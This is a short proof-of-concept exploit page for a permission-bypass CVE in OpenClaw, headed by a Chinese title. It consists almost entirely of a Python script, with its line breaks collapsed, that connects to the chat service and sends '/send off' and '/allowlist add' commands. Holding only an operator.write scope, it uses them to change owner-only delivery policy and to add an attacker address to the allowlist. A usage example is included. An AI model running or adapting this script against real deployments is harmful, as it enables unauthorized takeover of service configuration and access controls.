CVE-2026-35620 OpenClaw权限绕过漏洞

# PoC for CVE-2026-35620 # Description: Exploits missing authorization in /send and /allowlist commands. # Attacker needs 'operator.write' scope. import socket def exploit_openclaw(target_ip, target_port, attacker_nick): try: # Establish connection to the OpenClaw chat service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) print(f"[*] Connected to {target_ip}:{target_port}") # Step 1: Exploit /send command to mutate session delivery policy # This requires operator.write but affects owner-only settings payload_send = f"{attacker_nick} /send off\n" s.send(payload_send.encode()) print("[+] Payload sent: /send off (Session delivery policy mutated)") # Step 2: Exploit /allowlist command to modify config without admin scope # Adding a malicious entry to the allowlist malicious_entry = "192.168.1.100" payload_allowlist = f"{attacker_nick} /allowlist add {malicious_entry}\n" s.send(payload_allowlist.encode()) print(f"[+] Payload sent: /allowlist add {malicious_entry} (Allowlist modified)") s.close() print("[*] Exploit execution completed.") except Exception as e: print(f"[-] Error during exploit: {e}") # Usage example (replace with actual target details) # exploit_openclaw("127.0.0.1", 6667, "attacker")